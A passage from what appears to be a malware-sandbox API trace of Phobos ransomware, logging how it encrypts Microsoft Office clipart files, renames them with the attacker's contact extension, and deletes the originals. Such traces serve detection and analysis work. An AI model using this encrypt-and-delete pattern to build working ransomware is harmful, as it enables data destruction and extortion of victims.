Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0139.688] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752b18) returned 1 [0139.688] CryptSetKeyParam (hKey=0x752b18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.688] ReadFile (in: hFile=0x2f8, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x14c2, lpOverlapped=0x0) returned 1 [0139.757] CryptEncrypt (in: hKey=0x752b18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x14d0, dwBufLen=0x14d0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x14d0) returned 1 [0139.757] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x14d0, lpOverlapped=0x0) returned 1 [0139.760] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752d18) returned 1 [0139.760] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.760] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0139.760] CryptDestroyKey (hKey=0x752d18) returned 1 [0139.760] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0139.760] CryptDestroyKey (hKey=0x752b18) returned 1 [0139.760] CloseHandle (hObject=0x2f8) returned 1 [0139.760] CloseHandle (hObject=0x30c) returned 1 [0139.760] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 1 [0139.761] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0139.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0139.762] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=4970) returned 1 [0139.762] CloseHandle (hObject=0x30c) returned 1 [0139.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 0x220 [0139.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0139.762] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.762] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0139.763] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752ed8) returned 1 [0139.763] CryptSetKeyParam (hKey=0x752ed8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.763] ReadFile (in: hFile=0x30c, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x136a, lpOverlapped=0x0) returned 1 [0139.801] CryptEncrypt (in: hKey=0x752ed8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1370, dwBufLen=0x1370 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1370) returned 1 [0139.801] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x1370, lpOverlapped=0x0) returned 1 [0139.802] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752f18) returned 1 [0139.802] CryptSetKeyParam (hKey=0x752f18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.802] CryptEncrypt (in: hKey=0x752f18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0139.802] CryptDestroyKey (hKey=0x752f18) returned 1 [0139.802] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0139.802] CryptDestroyKey (hKey=0x752ed8) returned 1 [0139.802] CloseHandle (hObject=0x30c) returned 1 [0139.802] CloseHandle (hObject=0x2f8) returned 1 [0139.802] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 1 [0139.803] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0139.803] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0139.803] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=16596) returned 1 [0139.803] CloseHandle (hObject=0x2f8) returned 1 [0139.803] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 0x220 [0139.803] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.803] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0139.803] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.803] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.803] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0139.804] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x753098) returned 1 [0139.804] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.804] ReadFile (in: hFile=0x2f8, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x40d4, lpOverlapped=0x0) returned 1 [0139.866] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40e0, dwBufLen=0x40e0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40e0) returned 1 [0139.866] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x40e0, lpOverlapped=0x0) returned 1 [0139.867] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752e18) returned 1 [0139.867] CryptSetKeyParam (hKey=0x752e18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.867] CryptEncrypt (in: hKey=0x752e18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0139.867] CryptDestroyKey (hKey=0x752e18) returned 1 [0139.867] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0139.867] CryptDestroyKey (hKey=0x753098) returned 1 [0139.867] CloseHandle (hObject=0x2f8) returned 1 [0139.867] CloseHandle (hObject=0x30c) returned 1 [0139.867] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 1 [0139.868] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0139.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0139.869] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=24377) returned 1 [0139.869] CloseHandle (hObject=0x30c) returned 1 [0139.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 0x220 [0139.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0139.869] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.869] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0139.870] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752cd8) returned 1 [0139.870] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.870] ReadFile (in: hFile=0x30c, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x5f39, lpOverlapped=0x0) returned 1 [0139.881] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x5f40, dwBufLen=0x5f40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x5f40) returned 1 [0139.881] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x5f40, lpOverlapped=0x0) returned 1 [0139.882] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752e98) returned 1 [0139.883] CryptSetKeyParam (hKey=0x752e98, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.883] CryptEncrypt (in: hKey=0x752e98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0139.883] CryptDestroyKey (hKey=0x752e98) returned 1 [0139.883] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0139.883] CryptDestroyKey (hKey=0x752cd8) returned 1 [0139.883] CloseHandle (hObject=0x30c) returned 1 [0139.883] CloseHandle (hObject=0x2f8) returned 1 [0139.883] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 1 [0139.884] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0139.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0139.884] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=73214) returned 1 [0139.884] CloseHandle (hObject=0x2f8) returned 1 [0139.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 0x220 [0139.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0139.885] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.885] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0139.885] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752a58) returned 1 [0139.885] CryptSetKeyParam (hKey=0x752a58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.885] ReadFile (in: hFile=0x2f8, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x11dfe, lpOverlapped=0x0) returned 1 [0139.887] CryptEncrypt (in: hKey=0x752a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x11e00, dwBufLen=0x11e00 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x11e00) returned 1 [0139.888] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x11e00, lpOverlapped=0x0) returned 1 [0139.889] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752d98) returned 1 [0139.889] CryptSetKeyParam (hKey=0x752d98, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.889] CryptEncrypt (in: hKey=0x752d98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0139.889] CryptDestroyKey (hKey=0x752d98) returned 1 [0139.889] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0139.889] CryptDestroyKey (hKey=0x752a58) returned 1 [0139.889] CloseHandle (hObject=0x2f8) returned 1 [0139.889] CloseHandle (hObject=0x30c) returned 1 [0139.890] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 1 [0139.891] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0139.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0139.891] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=21914) returned 1 [0139.891] CloseHandle (hObject=0x30c) returned 1 [0139.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 0x220 [0139.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0139.891] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.891] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0139.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0139.892] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752e18) returned 1 [0139.892] CryptSetKeyParam (hKey=0x752e18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.892] ReadFile (in: hFile=0x30c, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x559a, lpOverlapped=0x0) returned 1 [0139.900] CryptEncrypt (in: hKey=0x752e18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x55a0, dwBufLen=0x55a0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x55a0) returned 1 [0139.900] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x55a0, lpOverlapped=0x0) returned 1 [0139.901] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x753158) returned 1 [0139.901] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0139.901] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0139.901] CryptDestroyKey (hKey=0x753158) returned 1 [0139.901] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0139.902] CryptDestroyKey (hKey=0x752e18) returned 1 [0139.902] CloseHandle (hObject=0x30c) returned 1 [0139.902] CloseHandle (hObject=0x2f8) returned 1 [0139.902] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft 